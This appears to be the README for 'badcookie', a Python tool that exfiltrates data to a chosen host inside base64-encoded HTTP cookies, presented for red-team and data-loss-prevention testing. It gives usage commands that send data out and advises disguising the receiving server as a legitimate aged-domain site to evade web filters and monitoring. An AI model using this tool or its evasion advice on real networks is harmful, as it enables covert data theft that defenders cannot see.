Python 2.7

• Requests

Badcookie exfiltrates data via base64 encoded HTTP cookies.

• The script can be used for testing the effectiveness of data loss prevention systems.
• Outbound network traffic monitoring systems.
• Red Team / Blue team exercises e.g. see if the blue team can detect data exfiltraion.
• Penetration testing activities

#Things to keep in mind

• The script transmits data via http not https
• Base64 encoded data can be easily decoded
• Be mindful of the cookie size when transmitting data

#Usage badcookie.py <destination_host> <exfiltrated_data>

Example(1): badcookie.py 10.0.0.2 "very important data"

Example(2): badcookie.py www.secretsite.com "very important data"

Use quotes if you plan to transmit data with whitespace

#Setting up the data exfiltration process

• To make the network traffic look convincing setup a site with a proper domain name. It can be a news, blog or any other site, so when you exfiltrate data the network traffic will look like normal web traffic going to a legitimate site. (atleast this is what we are trying to accomplish).
• Fill the site with real looking content.
• If you are testing systems where there is a web filtering proxy involved, try and use a domain name which is more than a year old as web filtering proxies block new domains. In either case using an aged domain name will be beneficial.
• Avoid sending data using IP addresses.
• Enable logging of http cookies in Apache web server ( you can use any server you like). The sample config file 000-default.conf can be used to enable cookie logging.
• Place the 000-default.conf file in /etc/apache2/sites-enabled/ and restart Apache. You should now see a file called “cookies.log” in /var/log/apache2.
• Execute the badcookie script from the victim machine / network.
• After executing the script you should see the following log entry in cookies.log file. The log file shows the transmitted base64 cookie.

10.0.0.2 - - [13/Jun/2015:18:48:17 -0500] "GET / HTTP/1.1" 200 3256 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; MDDCJS; :11.0) like Gecko" "dGVzdGluZw=="

• You can now decode the base64 encoded data.

Please note that the above process is just a suggestion, you can setup the exfiltration process anyway you like.